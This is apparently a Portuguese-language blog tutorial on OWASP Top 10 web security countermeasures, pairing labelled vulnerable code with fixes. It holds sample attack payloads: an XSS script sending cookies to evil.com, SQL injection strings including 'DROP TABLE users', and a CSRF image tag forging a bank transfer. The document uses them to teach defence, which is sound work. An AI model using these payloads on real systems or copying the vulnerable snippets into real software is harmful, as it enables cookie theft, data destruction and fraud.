Fundamentos de Seguranca Web - Contramedidas OWASP Top 10

18 min leitura | 2025.12.03

O que e OWASP Top 10

E um ranking dos riscos de seguranca mais graves para aplicacoes web, publicado pela OWASP (Open Web Application Security Project).

Top 10 (versao mais recente de 2021):

  1. Falha de Controle de Acesso
  2. Falha de Criptografia
  3. Injecao
  4. Design Inseguro
  5. Configuracao de Seguranca Incorreta
  6. Componentes Vulneraveis
  7. Falha de Autenticacao
  8. Problemas de Integridade de Software e Dados
  9. Falha de Log e Monitoramento de Seguranca
  10. Server-Side Request Forgery (SSRF)

XSS (Cross-Site Scripting)

E um ataque que injeta scripts maliciosos em paginas web.

Exemplo de Ataque

<!-- Codigo vulneravel -->
<p>Resultado da busca: <?php echo $_GET['query']; ?></p>

<!-- Ataque -->
/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Contramedidas

// 1. Escape na saida
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

// 2. Usar escape automatico do template engine
// React: Faz escape por padrao
<p>Resultado da busca: {userInput}</p>

// 3. Content Security Policy
// Cabecalho HTTP
Content-Security-Policy: default-src 'self'; script-src 'self'

Tipos de XSS

TipoDescricao
RefletidoReflete imediatamente parametros de URL, etc.
ArmazenadoSalvo no DB e executado quando exibido
Baseado em DOMOcorre no JS do lado do cliente

SQL Injection

E um ataque que injeta SQL malicioso em consultas.

Exemplo de Ataque

-- Codigo vulneravel
SELECT * FROM users WHERE id = '$userId'

-- Ataque: userId = "1' OR '1'='1"
SELECT * FROM users WHERE id = '1' OR '1'='1'
-- → Todos os usuarios sao obtidos

-- Ataque ainda mais perigoso: userId = "1'; DROP TABLE users; --"

Contramedidas

// 1. Prepared Statement (consulta parametrizada)
// Exemplo ruim
const query = `SELECT * FROM users WHERE id = '${userId}'`;

// Exemplo bom
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId]);

// 2. Uso de ORM
// Prisma
const user = await prisma.user.findUnique({
  where: { id: userId }
});

// 3. Validacao de valores de entrada
if (!Number.isInteger(parseInt(userId))) {
  throw new Error('Invalid user ID');
}

CSRF (Cross-Site Request Forgery)

E um ataque que faz o usuario enviar requisicoes nao intencionadas.

Exemplo de Ataque

<!-- Site do atacante -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- Se o usuario estiver logado em bank.com, o Cookie e enviado e a transferencia e executada -->

Contramedidas

// 1. Token CSRF
// Servidor: Gerar token e salvar na sessao
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;

// Incorporar token no formulario
<input type="hidden" name="_csrf" value="{{csrfToken}}" />

// Verificacao
if (req.body._csrf !== req.session.csrfToken) {
  throw new Error('CSRF token mismatch');
}

// 2. SameSite Cookie
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure

// 3. Verificacao de cabecalho customizado (AJAX)
// Requisicoes cross-origin nao podem enviar cabecalhos customizados
X-Requested-With: XMLHttpRequest

Falha de Autenticacao

Gerenciamento de Senha Vulneravel

// Exemplo ruim
const hash = md5(password);  // MD5 e vulneravel

// Exemplo bom
const hash = await bcrypt.hash(password, 12);

Gerenciamento de Sessao

// Regenerar ID de sessao apos login
req.session.regenerate((err) => {
  req.session.userId = user.id;
});

// Prevenir ataque de fixacao de sessao

Autenticacao Multi-Fator (MFA)

1o Fator: Senha (conhecimento)
2o Fator: Senha de uso unico (posse)
3o Fator: Autenticacao biometrica (biometria)

Falha de Controle de Acesso

IDOR (Insecure Direct Object Reference)

// Codigo vulneravel
app.get('/api/users/:id/profile', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user);  // Qualquer pessoa pode acessar
});

// Contramedida: Verificacao de autorizacao
app.get('/api/users/:id/profile', async (req, res) => {
  if (req.user.id !== req.params.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await db.users.findById(req.params.id);
  res.json(user);
});

Escalacao de Privilegio Horizontal e Vertical

Escalacao de privilegio horizontal: Acessar dados de outros usuarios
  Usuario A → Dados do Usuario B

Escalacao de privilegio vertical: Acessar funcionalidades de nivel superior
  Usuario comum → Funcionalidades de administrador

Cabecalhos de Seguranca

# Exemplo de configuracao Nginx
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";
CabecalhoProposito
Content-Security-PolicyProtecao XSS, restricao de recursos
X-Frame-OptionsPrevencao de clickjacking
X-Content-Type-OptionsPrevencao de MIME sniffing
Strict-Transport-SecurityForcar HTTPS
Referrer-PolicyControle de informacao de referrer

Validacao de Valores de Entrada

// Validacao no servidor (obrigatoria)
const schema = z.object({
  email: z.string().email(),
  age: z.number().min(0).max(150),
  username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
});

const result = schema.safeParse(req.body);
if (!result.success) {
  return res.status(400).json({ errors: result.error.issues });
}

Checklist de Seguranca

□ Validar todas as entradas no servidor
□ Processar escape na saida
□ Usar consulta parametrizada
□ Implementar token CSRF
□ Hash adequado de senhas
□ Forcar HTTPS
□ Configurar cabecalhos de seguranca
□ Implementar verificacao de autorizacao
□ Nao vazar informacoes sensiveis em mensagens de erro
□ Verificar vulnerabilidades de pacotes dependentes
□ Registrar logs de seguranca

Resumo

Seguranca web e um elemento importante que deve ser considerado desde os estagios iniciais do desenvolvimento. Consultando o OWASP Top 10, entenda as principais vulnerabilidades e contramedidas, e construa aplicacoes seguras. Seguranca nao e algo que se configura uma vez e termina, mas requer monitoramento e atualizacao continua.

← Voltar para a lista